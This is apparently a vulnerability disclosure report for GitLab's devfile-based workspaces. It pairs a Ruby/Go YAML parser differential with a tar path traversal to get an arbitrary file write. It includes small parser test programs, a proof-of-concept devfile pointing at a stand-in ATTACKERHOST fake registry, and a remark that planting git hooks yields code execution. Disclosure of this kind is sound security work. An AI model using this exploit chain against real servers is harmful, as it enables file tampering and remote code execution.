Devfile parser arbitrary file write
Summary
For our "workspaces" feature we're using a custom Gem to parse devfiles which define those workspaces.
devfiles can include other devfiles as a "parent", those parents can be depending on the context local or remote files. The remote files can come from different sources like Git repositories or a devfile registry which is very similar to a Docker registry.
Within GitLab we're not allowing the "parent" feature of devfiles and we're validating that a given devfile does not use it in https://gitlab.com/gitlab-org/gitlab/-/blob/e261f7e36a061f547b75f45fed89baa4cd53a29e/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb#L50-56
def self.validate_parent(value)
value => { devfile: Hash => devfile }
return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
Result.ok(value)
end
devfiles are written in YAML in the above code excerpt the underlying YAML is parsed by Ruby's
YAML.safe_load
into a Hash, this Hash is then verified to not contain the parent
key.
Subsequently the verified devfile YAML is passed on to some Go binary in the devfile-gem
. Due to YAML being a complex format the
Ruby and the Go parser differ a bit and we can construct a YAML file which doesn't seem to have a parent
key in
Ruby but has one in Go.
Consider the following Ruby program:
require 'yaml'
require 'date'
x = YAML.safe_load(File.read(ARGV[0]),aliases: true)
y = YAML.dump(x)
puts y
And this Go program:
package main
import (
"fmt"
"log"
"os"
"gopkg.in/yaml.v3"
)
func main() {
data, _ := os.ReadFile(os.Args[1])
unmarshalled := &yaml.Node{}
err := yaml.Unmarshal([]byte(data), unmarshalled)
if err != nil {
log.Fatalf("error: %v", err)
}
var expanded interface{}
err = unmarshalled.Content[0].Decode(&expanded)
if err != nil {
log.Fatalf("error: %v", err)
}
d, err := yaml.Marshal(expanded)
if err != nil {
log.Fatalf("error: %v", err)
}
fmt.Printf("%s\n", string(d))
}
With this input:
!binary parent: foo
We get the following different outputs:
➜ devfile cat test.yaml
!binary parent: foo
➜ devfile ruby r.rb test.yaml
---
!binary "pareng==": foo
➜ devfile go run g.go test.yaml
parent: foo
➜ devfile
So we can craft a devfile
which actually has a parent
defined and will be parsed by the devfile-gem underlying
Go implementation when creating a new workspace.
This Go implementation is vulnerable to a path traversal when dealing with registry based parents. https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L115
target := path.Join(targetDir, filepath.Clean(header.Name))
Here the header.Name
comes from an untrusted tar
archive. filepath.Clean
is not preventing
a traversal here as it will leave relative paths as they are so for instance ../../../etc/passwd
will not
get the ../
sequence removed.
Steps to reproduce
- set up a cluster agent with the following config:
remote_development:
enabled: true
user_access:
access_as:
agent: {}
projects:
- id: SOMGROUP/SOMEPROJECT
groups:
- id: SOMEGROUP
Where SOMEGROUP
is a premium namespace SOMEPROJECT
will be configured now with a .devfile.yaml
in the repo:
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://ATTACKERHOST
components:
- name: 'test'
attributes:
gl/inject-editor: true
container:
image: registry.gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/debian-bullseye-ruby-3.2-node-18.12:rubygems-3.4-git-2.33-lfs-2.9-yarn-1.22-graphicsmagick-1.3.36-gitlab-workspaces
The following tar file contains the script to run at ATTACKERHOST
, it serves as fake registry server with a archive.tar
which
contains a traversal into /tmp/joernwashere
. server.tar
When everything is set up we can trigger the file write by creating a workspace for the project we just created the .devfile.yaml
in.
On simple omnibus/docker installations where the repos are on the same host this leads to pretty easy code execution by writing e.g. git hooks into a repository.
Relevant logs and/or screenshots
I'll provide a screenrecording with a walk through later on.
Output of checks
Results of GitLab environment info
Expand for output related to GitLab environment info
root@gitlab:/# gitlab-rake gitlab:env:info System information System: Proxy: no Current User: git Using RVM: no Ruby Version: 3.1.4p223 Gem Version: 3.4.22 Bundler Version:2.4.22 Rake Version: 13.0.6 Redis Version: 7.0.14 Sidekiq Version:6.5.12 Go Version: unknown GitLab information Version: 16.7.0-ee Revision: 9e7d34f7ff1 Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 14.9 URL: http://gitlab.example.com HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git SSH Clone URL: git@gitlab.example.com:some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 14.32.0 Repository storages: - default: unix:/var/opt/gitlab/gitaly/gitaly.socket GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell Gitaly - default Address: unix:/var/opt/gitlab/gitaly/gitaly.socket - default Version: 16.7.0 - default Git Version: 2.42.0
Results of GitLab application Check
Expand for output related to the GitLab application check
root@gitlab:/# gitlab-rake gitlab:check SANITIZE=true Checking GitLab subtasks ...Checking GitLab Shell ...
GitLab Shell: ... GitLab Shell version >= 14.32.0 ? ... OK (14.32.0) Running /opt/gitlab/embedded/service/gitlab-shell/bin/check Internal API available: OK Redis available via internal API: OK gitlab-shell self-check successful
Checking GitLab Shell ... Finished
Checking Gitaly ...
Gitaly: ... default ... OK
Checking Gitaly ... Finished
Checking Sidekiq ...
Sidekiq: ... Running? ... yes Number of Sidekiq processes (cluster/worker) ... 1/1
Checking Sidekiq ... Finished
Checking Incoming Email ...
Incoming Email: ... Reply by email is disabled in config/gitlab.yml
Checking Incoming Email ... Finished
Checking LDAP ...
LDAP: ... LDAP is disabled in config/gitlab.yml
Checking LDAP ... Finished
Checking GitLab App ...
Database config exists? ... yes Tables are truncated? ... skipped All migrations up? ... yes Database contains orphaned GroupMembers? ... no GitLab config exists? ... yes GitLab config up to date? ... yes Cable config exists? ... yes Resque config exists? ... yes Log directory writable? ... yes Tmp directory writable? ... yes Uploads directory exists? ... yes Uploads directory has correct permissions? ... yes Uploads directory tmp has correct permissions? ... skipped (no tmp uploads folder yet) Systemd unit files or init script exist? ... skipped (omnibus-gitlab has neither init script nor systemd units) Systemd unit files or init script up-to-date? ... skipped (omnibus-gitlab has neither init script nor systemd units) Projects have namespace: ... 1/1 ... yes 3/2 ... yes 3/3 ... yes Redis version >= 6.0.0? ... yes Ruby version >= 3.0.6 ? ... yes (3.1.4) Git user has default SSH configuration? ... yes Active users: ... 1 Is authorized keys file accessible? ... yes GitLab configured to store new projects in hashed storage? ... yes All projects are in hashed storage? ... yes Elasticsearch version 7.x-8.x or OpenSearch version 1.x ... skipped (Advanced Search is disabled) All migrations must be finished before doing a major upgrade ... skipped (Advanced Search is disabled)
Checking GitLab App ... Finished
Checking GitLab subtasks ... Finished